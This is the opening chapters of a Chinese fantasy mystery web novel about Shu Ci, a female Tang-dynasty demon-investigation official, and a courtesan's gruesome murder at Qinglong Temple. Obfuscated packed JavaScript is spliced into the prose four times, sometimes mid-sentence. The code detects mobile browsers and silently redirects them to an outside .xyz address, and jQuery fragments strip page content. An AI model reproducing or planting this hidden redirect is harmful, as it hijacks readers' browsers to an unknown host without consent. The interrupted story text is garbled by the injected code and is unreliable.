《大唐公务员捉妖日常》 1. 楔子 你到过长安吗? 你若到过长安,便一定见过那车水马龙,人声鼎沸,商贾云集,藩客来往。市井中一定有白胡子的老头表演幻术,他将一枚石子一扔,落在手中便成了金锭,塞到你的手里。你摊开手,那金锭长出翅膀,成了蝴蝶,飞到半空。 你看,那蝴蝶翅膀后面,有花魁眉间点着花钿,正从楼上探出身子,团扇半遮面,柳眉入鬓,双目含情,唱着最空灵的歌。 你再往前走,便能看到胡姬和着鼓点,旋转起舞,游人纷纷,有男人、女人,有唐人、吐蕃人、波斯人、倭国人……还有商人、和尚、工匠、道士、官差、下人……他们围成圈,一齐拍手打着节拍叫好,无尽的欢乐,无尽的幸福。你要加入他们,拍起手来,和着音乐喊起来。 你到过长安吗? 你若到过长安,你是否知道,夜幕降临,那白发的老头,面孔会上掉下一张皮,他得对着镜子用针线缝缝补补,镜子中才看能清,他的脸布满了密密麻麻的针脚,拼接着棉布、羊皮、牛皮的补丁。 花魁在金色的屏风后面,伏在地上,轻声唱着歌,你仔细听,她唱的是,鬼灯现,桃花见,郎君结同心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764943|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相逢月下魂——她转过脸来,映在月光里,红衣华服,森森白骨。 人群早已散去,那胡姬仍旧转个不停,是因为她穿上了一双脱不掉的舞鞋,她多想停下来啊!它带着她旋转,昼夜不停,通宵达旦,直到她的头发散了,双脚磨出鲜血,腿骨折断,直到她再也站不起来。 你知道吗,那些男人、女人,唐人、吐蕃人、波斯人、倭国人……商人、和尚、工匠、道士、官差、下人…… 他们是人吗? 这便是长安。 我已在这样的长安困了二十年…… 2. 第一回 青龙寺(上) 天观十六年,三月二十,寅时未半,晨露微凉,舒慈仍在熟睡中。 此时,却听得纸窗翕动。一只碧蓝色的三宝鸟,正用脑袋顶开窗框,熟练地钻进来。一个振翅,轻巧地落在舒慈的枕头上。 舒慈听见响动,好梦被扰,皱着眉翻了个身,继续梦会周公。见她不醒,三宝鸟咕噜了两声,便往床底下一跳。 只见它两只爪子刚一落地,却是蓝羽尽褪,从地上站起来一名十三、四岁的蓝衣少女。那少女又从袖口掏出一个皱巴巴的纸团,一扔,不偏不倚,正好砸到舒慈后脑勺上。 少女见她用手挠了挠头,仍是不醒,便朝天上翻了个白眼,撅起嘴,发出唱歌一般的声音,“话我带到了,这就回去睡觉了!” 舒慈这才一个激灵,大梦惊醒,正想出声,却见少女一转身,又化作一羽翠蓝色,从窗缝里飞出,消失在长安茫茫无尽的夜色中。 她揉揉眼睛,怔了一会,这才赶忙展开纸团一看。 上面一副简陋的简笔画,大致是方方正正的长安城,南门外画出两条竖线表示大道,突然出现一道分叉口,画着一只潦草的狗头。分叉口不远处画着一个方框盖着三角形,似是一座庙,方框里面歪歪扭扭几笔,像是一条蚯蚓。 舒慈叹了口气,又是一晚好梦被扰。只得三下五除二换上夜行服,牵了马儿,便往华安门赶。 此刻长安城一百零八坊,一片死寂。 长安城宵禁严格,不及舒慈行到安华门,便被一名金吾卫拦下。她不慌不忙,从怀里掏出一枚文牒。 那文牒正书大字,“大理寺舒慈查案”。金吾卫接过文牒,两相对照,不禁心下一奇——这大理寺的竟然是个女官。 只见舒慈一头檀黑的秀发绾于脑后,虽是女子,但细眉如剑,鼻梁挺直,英气十足。一双凤眼,按理说应是抚媚动人,但右眼瞳黑亮如墨,有逼人的凌厉。最古怪的是左眼,瞳孔映着微光,泛着淡淡的青灰色,仿佛蒙了一层薄纱。只是眼下一圈乌黑,看起来早已习惯昼伏夜出,黑白颠倒。 那金吾卫又注意到背面一行小字——“大理寺缉妖司司务”。 奇上加奇! 大理寺乃专查命案、悬案、疑案部门,自然在大唐是人尽皆知,可这缉妖司却是闻所未闻。 世间天地万物,并非人有魂魄。动物、植物、甚至不起眼的器物,一旦吸收了日月精华,炼化了钟灵神秀,便能凝结出三魂七魄,感知七情六欲。若是再提升修为,就能修得人形,是之为妖。 物修成了妖,便也像人一样,能分出好坏。善妖化了人形,混迹人间,倒也相安无事。而恶妖免不了为了修为杀人放火,为害人间。 自古以来,神州大地上便有了专门查妖、管妖、捉妖之部门,到了唐朝就成了这缉妖司,隶属大理寺,专查大理寺所不能查之妖事。 不等这金吾卫多问,舒慈手一伸便取回了文牒,道了一句“多谢官爷,行个方便。” 说罢,翻身上马,策马向南疾驰而去。 刚出华安门,天边渐渐亮了起来,泛起鱼肚白。舒慈迎着黎明的微光,先沿着大路向南行了两三里,果然,远处的岔路口正蹲着一只猎犬。 那漆黑的猎犬蹲坐在地上,神色威严,毛发油光锃亮,体型细长,足有半个人高。 它见到舒慈近了,咧开嘴哈了两声气,像在打招呼,朝她点了点头,摇了摇尾巴,转身顺着小路一溜烟跑了起来。 舒慈两腿一夹马肚,加速跟在黑狗后面。不出一里地,就看到一座破败的寺院。 庭院已经杂草丛生,大门上的铜环锈迹斑斑,抬头一看,门匾已经褪色剥落,依稀可辨得三个大字——青龙寺。 “哦!这就是你画的蚯蚓?”舒慈翻身下马,一拍脑袋,恍然大悟。 黑犬跟在后面,“嗷呜”地一声,后腿一蹬,凭空变成了一个黑衣男子,皮肤黝黑,身材瘦高,一双下垂眼,比起刚刚威风凛凛的猎犬,多了几分童真。 “什么蚯蚓?青龙寺,青龙寺,我画的那是龙!”敖瑞道,“阿慈姐,你们的字难学,但画两笔总没错吧?你说,我是不是很聪明?” 缉妖司中除了人,还有各式各样当差的妖。 据说,缉妖司刚一成立,祖师爷钟馗便召集了一批神通广大的妖怪。妖怪们发现这差事既能修善为,又能领俸禄,有的便加入了缉妖司,协助办案。 舒慈早就习惯了她这些妖怪同僚们的妖言妖语,配合地干笑了两声,抬腿进了这青龙寺。 一进门,便有一股浓重的血腥味扑鼻而来。 “这味道是人是妖?”舒慈问。 “是人。就在佛殿里面。”敖瑞的狗鼻子左右一动,立即分辨道。 “这人是怎么发现的?” “说是一个路过的云水僧,子时左右走到青龙寺歇脚,发现这女子倒在血泊之中。这里离城门不远,他便报了南门的金吾卫,金吾卫又通报了大理寺。大理寺侦查司的来查了,说不像常人所为,必是有妖怪作祟!又通报了我们缉妖司。今日我和三宝正好当班,于是先来了。我画了地图,让三宝来叫你。哎?三宝怎么没和你一起来?她又回去偷懒睡觉了?” “那云水僧现在在哪?” “走了。” “走了?!” “是,走了啊。侦查司问话的说,妖怪最怕佛法,怎么会化身成和尚?于是登记了他的姓名、法号、挂单处,便放他走了。” 舒慈急了。 这妖修成人形本就和人别无二致。修为低的,或许会露出破绽。而修为高的,肉眼凡胎根本无从分辨。 “怎么大理寺就没有一个人好好学学《妖案查处令》?开篇第一条便是,若人妖不辨,应交缉妖司处!”舒慈咬牙切齿道。 “可是,阿慈姐,确实没有妖会修成和尚啊!”敖瑞接话道,“我从小我娘就跟我说,见到寺庙要绕开,见到和尚更是要绕得远远的,晦气至极!我就算修成了这人形,一靠近寺庙,就忍不住头晕恶心!” 舒慈极为无语,“你现在不就是在这寺庙里走着吗?” “那我现在是没看到佛像神仙,闻不到香火味道,也听不到和尚念经!不瞒你说,阿慈姐,”敖瑞好似有什么秘密,压低声音道,“我虽然刚刚就来了,可根本不敢进那佛堂!就怕见了大殿的佛像——看一眼我都能晕过去!” “那照你这么说,那凶手也不可能是妖了?要不怎么敢在佛殿行凶?” “哦!”敖瑞醍醐灌顶,“那凶手只能是人了!阿慈姐,还是你聪明啊!” “……” 舒慈时常不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764944|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这位妖怪同僚是拍她的马屁还是存心揶揄。只能安慰自己,妖之初,性本善,敖瑞一定是真心崇拜自己。 她心道,若是一般的案子,侦查司怎么会一口咬定是妖物作祟?定是那尸体死状极不寻常,才会立刻通报缉妖司。 两人谈话间行到行到佛殿跟前,刚要进门,敖瑞立马停住。舒慈无奈,摆摆手,便自己进了佛殿。 舒慈直觉一阵异样,却说不出哪里奇怪。 只见佛殿大门敞开,灰黑的地面血迹斑斑 ,佛台前有一只打翻的烛台。正中的蒲团被撕碎,上面正躺着一名女子,那骇人的红正是从她身上流淌出来。 尸长目测不过五尺二寸,穿着粗布麻衣。女子面色惨白,双颊凹陷,眼珠突出,表情狰狞,显是生前受到巨大的惊吓。 从她前胸到下腹,裂开一条又深又长的大口,伤口边缘不齐,向外翻出。 再朝那裂口一看——舒慈惊得后退一步,她在这缉妖司当差也有四年,也见过各种妖物作祟,什么身首分离的,尸骨粉碎的,烧焦的、窒息的、溺亡的……却是没见过眼前这样的—— 那裂口里面竟然空空如也,只剩一层外面一层皮囊。 这女子的五脏六腑不见了。 她又将尸身移开,下面压着一只包袱,里面掉出打火石、几件丝绸的衣服。其中一件对襟长袍,红底丝绸,绣金丝牡丹,华贵至极。翻开衣服外领,上面绣着一行小字——“拂花楼”。 舒慈不禁“啧”了一声,叹了口气,伸手将女子的双眼合上。双手合十,转身面向佛台,正想为女子祈祷一番,却发现自己进了这佛堂异样感的来源—— 那原本应该放置佛像的高台上如今空空如也。 舒慈倒吸一口凉气,三步并作两步,绕到佛台之后。 佛台下散落着碎石块,原是佛像不知何时在高台背后摔了个粉碎,只有一个佛头孤零零地滚到了后门。 “敖瑞!你给我进来!”舒慈朝门外喊。 敖瑞却是在门口梗着脖子,一幅恕难从命的样子。 “这佛像都被人打碎了!你怕什么!”舒慈又吼道。 敖瑞这才缓缓抬起一条腿跨过门槛,见自己并未当场殒命,又拖进另一条腿。 舒慈冲天花板翻了个白眼,“你赶紧过来吧,看看这佛像上还有没有气味?” 敖瑞慢吞吞地移过来,这时那佛头一边传来窸窸窣窣的声音。 敖瑞不禁汗毛倒立,轻声道,“阿慈姐,这……这是耗子吧?” 舒慈在嘴唇前竖起食指,“嘘。” 两人齐齐沉默,又听见那簌簌的声音,好像人沉重的呼吸声。 舒慈朝敖瑞使了个眼色,一人一妖从两边轻手轻脚围住那佛头。 舒慈又朝那佛像偏了偏头,示意敖瑞前去查看。 敖瑞面色凝重,只能眼睛一闭,大有视死如归之势,伸出一条长腿,轻轻一拨弄,将那佛头仰面朝上。 只见那佛头与寻常佛像无异,雕刻着高高的螺发,长眉飞入鬓边,双目半闭低垂,嘴唇微启,作慈悲仁慈之态。 两人正要松一口气,可突然间,那半垂的眼皮翻动,露出两只滴溜溜转动的石头眼珠,嘴唇裂开,发出尖细的声音—— “阿弥陀佛——” 3. 第一回 青龙寺(下) “嗷呜!!!” 敖瑞被惊得向后一跳,竟是一下又变成了漆黑的猎犬,退到了舒慈身后。 舒慈只得赶紧上前,一脚将这佛头踹开老远。 “哎哟——哎哟——” 那佛头痛苦地尖叫着滚了几圈。 “痛、痛、痛痛痛!!!”它两只石眼珠在眼眶里滴溜溜地乱转,尖叫道,“小小犬妖!小小女子!!竟敢冒犯本佛!实在是不知好歹……不知好歹!!” 黑犬听了这话,又隔着舒慈冲着它“汪汪汪”地狂吠。 “啊啊啊啊啊啊!!” 那佛头好像与敖瑞吵架似的,发出刺耳的尖叫。 舒慈被这犬吠和尖叫声弄得头晕脑胀,不得不用尽全力集中神智在左眼。 她灰色的左瞳金光一闪,便看见地上的佛头后面冒出红光,映出模模糊糊的轮廓——一块巨石。 这巨石便是佛头的真身。 须臾间,舒慈左眼的画面又恢复原状——地上躺着一只佛头,正瞪着眼珠,张着大嘴尖叫着。 舒慈心下了然,一把上前揪着它的发髻将它拎起来,厉声道,“呔!小小石妖,竟敢在此冒充菩萨!我看你才是不知好歹!” 那佛头立刻像被人掐住喉咙管,“呃”地一声收了声,只用眼睛鼓出来一截瞪着舒慈。 “你这女子又是什么人?” 舒慈此生一来最憎被人瞧不起,二来最憎女子被人瞧不起,真是恨不得将这石头脑袋摔个粉碎。 查案为重,她冷哼一声,又掏出那枚文牒,“睁开你的石头眼睛看清楚,大理寺缉妖司查案!” 那佛头将那文牒瞧个仔细后,“啊”地一声,将鼓起的眼珠缩了回去,又成了低眉顺目相,慈悲温柔之态。 “哎呀,这位官爷……官奶奶,是小佛有眼无珠!还以为是那推我下来的贼人又返了回来!” “什么贼人?”舒慈将石妖往佛台上一放,“你这佛堂之中出了如此惨案,我看你是脱不了干系!还不赶紧交代明白!” 那石妖见了堂前一片血色,尖叫一声,脸上的长眉一拧,又惊又怕,嘴里又开始念念有词起来。 “南无阿弥多婆夜……” “问什么你答什么!念什么咒!”敖瑞见危险解除,便一屁股坐在舒慈脚边,龇牙咧嘴道。 “这位犬施主不知,小佛念的是往生咒,善恶终有报,愿这位女施主,得生净土,离苦得乐。阿弥陀佛。” “善恶终有报?”舒慈说,“你看到是谁杀害了她?!” “不不不,”那石头脸上五官瑟缩成一团,打了个寒战,“小佛并未看见是谁……但小佛确实看见了女施主遇害的惨状……可小佛在世间修行七八十年有余……从未见过如此离奇……如此残忍……如此可怕之事…… “昨日亥时过半,小佛正在熟睡之中,迷迷糊糊间听到有人进了这佛殿。不瞒官奶奶,我这小寺近年来香火凋敝,僧侣早解散了,佛堂便成了行路之人的歇脚处……小佛当时不甚在意,以为是过路人。只见她时时左顾右盼,只当是不知哪家赶路的女眷,在此处等着与人汇合……就闭上眼睛继续睡觉…… “可是没过多久,就听那女施主痛呼不已,似乎有疾病发作。我一睁眼,只见她腹部突然鼓起,好像有十个月的身孕。我以为她是难产,又急又慌,便念起了六字真言……唵嘛呢叭咪吽……” “别念了!”敖瑞的耳朵搭下来叫到。 “是是是,那小佛接着说回来……那女子尖叫声越来越凄厉,想是她痛极了。她的肚子像一只吹胀的羊皮灯笼……越来越大……越来越大……”石妖的声音也越发颤抖,“她的脸也迅速凹陷下去,她疼得用手抓挠蒲团,竟将蒲团给撕碎了……那手臂一伸,我一看,也是飞快地萎缩下去,不消一刻,竟是皮包骨头了!就好像……好像……她那肚子里的东西将她整个人吸干了…… “然后……然后……”石妖深吸一口气,“然后,她那肚子终于‘呲啦’一声,胀开一条大口子!!刹那间,血喷得到处都是!!……接着,那东西……那东西……便从那口子里爬了出来……” “……” 舒慈与敖瑞一人一狗沉默了半晌,又是惊悚不已,又是如堕五里雾中。 “那东西是什么?你可看清了?”舒慈问。 “小佛不知。说来惭愧,自从小寺香火凋零,这佛殿晚上没了长明灯,昨夜是这位女施主带了打火石和蜡烛,小佛才看清……那女施主痛苦中不小心将烛台打翻,小佛只能借着月色看到那东西似乎有很多足……” 很多足?难道是蜈蚣?可从未听说蜈蚣从女人肚子里爬出来啊? 舒慈低头和黑犬交换眼色,那一对水汪汪的大眼睛里也是充满茫然。 “然后呢?是那东西将你打翻在地的吗?”舒慈又问。 “不不不,这怪事出了没多久,小佛心里又急又怕,真恨不得跑去报官!可小佛本是骊山一块普普通通的石头,因缘巧合被雕成了这菩萨模样,送进了这青龙寺。谁知修行良久,仍不得站立走路活动的要领,只通了五感。看女施主受苦,我实在别无他法,只能又念诵起灭罪真言,祈祷有人尽快发现这惨案……” “你可别念那破经了!!!你知道为什么你还不能活动吗?天天念佛经,你修错了知道吗!!” “哎,这位犬施主可是此言差矣,小佛以为,只要修行,无所谓念佛经、修道经,只要道心不移动,如地藏菩萨,安忍不动如大地,自然可以修成正果……” “好好好,”舒慈忍不住打断,“那你到底看清是谁将你推倒在地没有?” 那石头脸上又是一幅痛苦的神色,“过了没多久,又进来一个人,一把将小佛推倒在地……夜色晦暗……小佛又是闭着眼睛诵经……实在没看清……” “我们进来之前,还有没有人进来过?” “小佛记得先前是有几位官人进来,查看一番后便说着什么案件离奇,当通报缉妖司。小佛没想到,这缉妖司竟是官……奶奶您啊!这女施主死得古怪,和小佛半点关系也没有啊!!!”说罢,又是一阵尖锐的哭声。 舒慈被吵得头痛,抓起那佛头往随身带的包袱皮里一塞,朝敖瑞打了个“撤退”的手势。 “哎哎哎,官奶奶!!您这是带我去哪啊??”石妖在包袱里面闷声闷气问。 “你现在是重要证物……证妖,又被人蓄意谋害,还敢在这寺里呆着?跟我回缉妖司,自有你用处。” 说罢,便往青龙寺外走去。 此时,天际已旭日初升,舒慈翻身上马,向远处映在金光之下的长安城而去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764945|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *** 舒慈快马加急回了城,先回了大理寺,将那石佛头移交了证物司,又叫人赶紧通知拂花楼的来认尸。 不一会,来了一个拂花楼的小厮,一眼便认出这女子正是楼里新选的花魁——牡丹。 舒慈得了消息,便带上三宝,往拂花楼去。 拂花楼位于平康坊。 平康坊正是长安城有名的烟花之地,坊内商铺鳞次栉比,人声鼎沸,舒慈骑在马上。三宝又化作一羽小蓝鸟站在她的肩头,行在街市上好不威风。 虽然坊内青楼林立,但舒慈仍是一眼便瞧见了拂花楼——外观大气典雅,雕梁画栋,一派豪华景象。 可一进门,大堂内杂乱无章。显然,花魁遇害之事已传遍全楼,小厮、歌妓们如今群龙无首,乱作一团。 小厮们见她气宇不凡,肩上又立了一只小鸟,以为她是哪家贪玩的大小姐,便迎上来连连道歉:“这位小姐,实在不好意思,现在情况特殊,确实不方便接待,不如您过一个时辰再来……” 舒慈又掏出那枚文牒,提高音量道:“查案。你家老板今日可在?” 那小厮见了文牒一惊,赶紧请她落座。不一会便从后台迎出一位中年女子,妆容柔美,眉心印花钿,风韵犹存。只是双目红肿,似是刚刚大哭一场。 “在下柳容烟,正是这拂花楼的老板。” 舒慈正要问话,柳容烟却是欲语泪先流:“舒姑娘,牡丹妹妹她,死得好惨啊……我这楼里的姑娘,我各个都当是我亲妹妹一样……” “柳老板,还请节哀,牡丹姑娘之案,我们大理寺一定会全力以赴。”舒慈道,“这案子蹊跷之处颇多,今日来,正是想询问牡丹相关的情况。还想请问,牡丹姑娘这几日有什么异样?可曾得罪过什么人?” 柳容烟摇摇头,“我这牡丹,脾气、性格,都是楼里一等一的好,从没听说过和谁有过冲突。哪位客人不夸她容貌美丽,才华出众?” 说罢,又是泪如雨下。 “牡丹姑娘昨日遇害,可知道她最后见过什么人?”舒慈问。 柳容烟听了这话又是抽泣一声,捂住胸口,做悲痛欲绝状。 这时,她又瞧见对面二楼的栏杆处,倚着一名绿衣女子,面目凝重,双目垂泪,似是悲戚至极。见舒慈注意到她,又闪身进了厢房。 趁柳容烟掩面拭泪,舒慈轻轻动了动肩膀,三宝便拍拍翅膀,“簌簌”地飞向二楼。 “柳老板,大理寺办案,还请配合。” “舒姑娘,不是我不想说……行有行规,我们也有我们的难处。” 舒慈心念一转,立刻明白,拂花楼是长安城如今最为有名的烟花楼,进出皆为贵胄。舒慈搬出大理寺也压不住她,那柳容烟一定知情,只是得罪不起。 舒慈便又例行公事问了几个问题,向柳容烟告辞。 出了大门,三宝从二楼飞下来,轻巧地落在她肩上,低声在她耳边道:“那姑娘哭得可伤心了,边哭边说着什么,‘牡丹姐姐,你死得好冤啊……’” 这“死得好冤”可和“死得好惨”可不一样,舒慈立刻借了纸笔,写道,“牡丹之死,可否协助?紧跟小鸟。大理寺舒慈。” 将纸条绑在三宝脚上,戳了戳它的肚子,它便再次飞回了拂花楼二楼。 4. 第二回 拂花楼奇遇(上) 舒慈左拐右拐,找了一条隐蔽的小巷。不出半刻钟,那绿衣姑娘便跟着三宝来了。 那少女不过十、七八岁,一见舒慈,双眼涌上泪水来,行了个礼道:“舒姑娘,你好,在下玉莲。” 舒慈赶紧扶起她,“玉莲姑娘,我方才见你神色有异,你可知有什么隐情?” “牡丹姐姐和我情同姐妹,”玉莲那悲戚的眼里又滑过了一丝愤怒,“可在柳容烟眼里,我们左右不过一条人命!这楼里人人都知,杜公子昨日最后见过姐姐!可她不敢得罪,我只怕……只怕误了查案,姐姐死不瞑目……” “杜公子?” 玉莲不自觉压低声音,在她耳旁道,“正是当今尚书令府中的二公子,杜月恒。” 舒慈心道难怪这柳容烟不敢得罪。 “那你又是为何怀疑这杜公子?” “牡丹姐姐前些日子时常念叨,说是有位公子想替她赎身,离开这拂花楼。又说什么,那公子要带她私奔……” “那位公子便是杜公子?” 玉莲摇摇头,“牡丹姐姐一直对我保密。确实没说过这公子的名字。但我看客人中,最古怪的便是这杜月恒!姐姐时常说,他与旁人不同,既不爱听她唱歌,也不叫她跳舞,只让她教他读书写字……昨日又是他最后见过姐姐……” 读书写字?这尚书令家的杜公子竟是文盲? “定是这杜公子不愿再赎走姐姐,便杀了姐姐……”玉莲哽咽道。 一想到自己这区区七品小官还要去尚书令府上查案,手上又无凭无据,舒慈真是一个脑袋两个大。无奈间,心生一计,道:“玉莲姑娘,你可认识这杜公子?” 玉莲点点头。 “可否请你今日将这杜公子邀到拂花楼?就说是牡丹姑娘留了东西给他。到时,你就照我说的,只管问他几个问题便是。” 玉莲一听,神色慌张,舒慈立刻道:“玉莲姑娘放心,到时你放一张屏风,我就在屏风后面,时时听候着。” 少女思索半晌,终于鼓起勇气,点点头:“好,舒姑娘,我相信你!” *** 夕阳西沉,长安城上空回荡起暮鼓沉重的低鸣。行人匆匆,纷纷踩着鼓点返程,鼓声渐弱,街市归为宁静。 只有平康坊内的各个酒楼教坊仍是灯火通明,人声鼎沸。 拂花楼此时却是门庭冷清,花魁蹊跷死亡一事不知何时已传遍了长安城。 二楼西侧的一间厢房内,立着一面三扇仕女图屏风,舒慈正蹲在后面,屏息而待。 又过了半刻钟,她终于听见房门推开,玉莲领着一名男子进来。 只听那男子道,“玉莲姑娘,牡丹姑娘之事,还请节哀。” 声音低沉,难掩悲痛。 舒慈从屏风的缝隙看出去,那杜月恒正对屏风而坐。模样倒是生得十分英俊,剑眉入鬓,一双漆黑的眼,清澈如明星,带着几分笑意,又似乎有几分漫不经心。舒慈不禁摇摇头,谁知道这风流倜傥的公子竟然是个文盲? 玉莲不答话,只是一个劲地拭泪。他便又说:“我特地带了牡丹姑娘最爱的桃花酿。” 又不知从哪摸出一只酒瓶,给玉莲斟上一杯,又倒了一杯在地上,“牡丹姑娘,我敬你一杯。” 说罢,给自己倒上一杯,一饮而尽。 玉莲喝了一杯酒,终于强打起精神,按舒慈先前叮嘱的问道,“杜公子,你是昨日最后见过姐姐的人,姐姐那时可有什么异样?你见了她后,又去了何处?” 杜月恒皱了皱眉,好似听出这话里的怀疑,仍是答道:“昨日牡丹姑娘同往日并无异样,我见了她自然是回自己府上。玉莲姑娘,可是今日大理寺的来了,问了什么话?” 玉莲不答,只是低着头啜泣,肩膀剧烈地抖动着。 杜月恒面露不忍,又换了个话题,“玉莲姑娘,你说的牡丹姑娘留给我什么东西?” 玉莲没有答话,抬手取下头上的银簪,猛地翻身上桌,一把刺向杜月恒。 这玉莲竟如此冲动!舒慈一惊,一个翻滚出了屏风,想抓住玉莲的衣服后摆。 可她晚了一步,杜月恒反应极快,已经伸手打掉了玉莲的银簪。 他见房间里不知何时又冒出一个人,立刻顺势钳住玉莲的脖子,喊道:“你又是何人?!” 舒慈见情况不妙,便将神志集中在左眼——她定要看看这杜月恒到底是人是妖。 只见她左瞳金光一闪,那杜月恒身后人影绰绰,冒出红色的人形轮廓。 这真身与他本人无异,这杜公子是个货真价实的人。 杜月恒手上仍是紧紧地掐住玉莲的脖子,声音又沉又稳,向着舒慈道:“你到底是何妖物,说!不然今天你们走不出这拂花楼。” 嚯,这公子哥儿好大的口气!舒慈心中骂道。但她在缉妖司务工多年,学到最大的道理便是——人在官场,该低头时要低头。 于是,她赶紧行了个礼,又拿出文牒,恭恭敬敬道:“杜公子,在下大理寺缉妖司司务舒慈。今日是为了办案,得知牡丹姑娘昨日最后见的人是您。上您的府上查案,繁文缛节,怕是耽误找到害死牡丹姑娘的元凶。我一个小小七品小官,这才出此下策,请了玉莲姑娘协助。杜公子,实在多有得罪!是在下办事不力,与玉莲、大理寺无关。” 杜月恒接过文牒看了好一会,冷哼一声,又问:“你那左眼又是怎么回事?” “在下生来便是一双异瞳,左眼能看清人的元神真身,可分辨人、妖,这才破格进了缉妖司办案。” “我知道你,一直听说过大理寺有一能人,会辨妖。没想到竟是……” 没想到竟是女的。舒慈心中替他将话补完。 杜月恒听罢手一松,放开玉莲。虽然面上仍是冷峻,却道:“抱歉,方才说你是妖。” 舒慈心下一惊。 她无父无母,从小因这异瞳,受尽了欺凌苛待,若不是进了缉妖司,如今不知在哪颠沛流离。早已习惯被人冷眼相待,被叫作妖怪、邪物。 却是从来没人同她说过道歉。 杜月恒坐回了座位上,又斟上了酒,摆摆手叫他们坐下。 玉莲不肯,仍是在一旁低低地抽泣。 “你们为何怀疑我?”杜月恒问。 “牡丹姐姐一直说,有一位公子要带她私奔!还不肯告诉我是谁!……一定是你,是你不肯带她走,还杀了她!”玉莲哭喊道。 杜月恒哭笑不得:“玉莲,你为何笃定这公子就是我?” “这么多客人里面我看你最奇怪,竟与姐姐学读书写字!你一个世家公子,和我们歌妓学什么文化?!这客人之中就属你家世背景最显赫,所以姐姐不肯告诉我你的名字,就是怕得罪你!我看你肯定用了什么妖法,迷惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764946|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了姐姐,让她和你私奔……” 杜月恒越听越迷惑:,“我是与牡丹姑娘学读书写字不错,但我同她学的是倭国的文字啊。” “倭国文字?!” 玉莲与舒慈面面相觑。 “牡丹姑娘是倭国人?”舒慈问。 “牡丹的父亲是倭国人,母亲是唐人。”杜月恒也十分震惊,“她竟然没和你说过?” 三人齐齐陷入沉默。 舒慈见玉莲脸上怅然若失,又是要哭出声来,便出声安慰道:“玉莲,我想牡丹她一定是有什么难言之隐,才没有告诉你。”又问杜月恒,“杜公子,你为何要和牡丹姑娘学倭国文字呢?” 杜月恒不答,反倒问玉莲,“你又说我会妖术,你问问你身边这位舒姑娘,她方才验过,我是人是妖?” “是人,是人。”舒慈立马应道。 玉莲擦了擦眼泪,锲而不舍地瞪着杜月恒,“那你说!不是你,那还能是谁?” 杜月恒听了这话思索片刻,又仰头喝了一杯酒,不急着辩驳,转头问舒慈:“舒姑娘,还想请问牡丹姑娘如何遇害的?为何你如此相信玉莲的话,牡丹姑娘一定是和某位人物私奔?” 舒慈真想翻个白眼,这位公子气定神闲,长官似的问自己话,而自己理亏在前,不得不老老实实。 她将故事粉饰一通道:“那青龙寺佛堂有人曾见到牡丹姑娘,午夜时分,左顾右盼,似在等人。” “那你刚刚验我的真身,应是怀疑这元凶是妖了?” 舒慈继续掐头去尾,“牡丹姑娘死状有异,不像常人所为。” 杜月恒一边把玩着酒杯,一边思忖道:“那青龙寺有一尊地藏菩萨,是二十年前天仁寺觉慧大师亲自雕刻。佛像手执降魔印,竟有妖怪在佛堂作祟?那么它必是修为极高。” 这纨绔公子竟对佛学有了解,分析起来头头是道。舒慈不禁认真与他讨论起来:“不瞒您说,牡丹姑娘死后,那佛堂的佛像被人打碎了。” “哦?”杜月恒怀疑道,“这佛堂还有其他人目睹牡丹姑娘被害?不然你怎么知道是她死后被打碎的?” 舒慈糊弄不下去了,便讲出了石妖机缘巧合下被雕成了佛像一事。 玉莲听得一惊一乍,那杜月恒却是哈哈大笑,“有趣!世间竟有如此奇事,妖成了佛,佛竟是妖。”又皱眉问道,“那这佛像肚子里的东西去哪了?” “佛像肚子里的东西?” “一般高僧所刻佛像,会将舍利、经书等纳入其中,供信徒瞻仰。青龙寺本是天仁寺的分寺,按理说佛像中应当有伏藏之物。”杜月恒解释道。 舒慈摇了摇头,既没在佛堂找到这些东西,也没听那石妖说起过。 “难道说杀害姐姐的人,还将这舍利之类的偷了去?”玉莲一脸茫然,猜测道。 三人又一次沉默。 杜月恒将壶里的最后一滴酒倒进酒杯,出声道,“不过,牡丹姑娘倒是真的与我提起过一个人。” 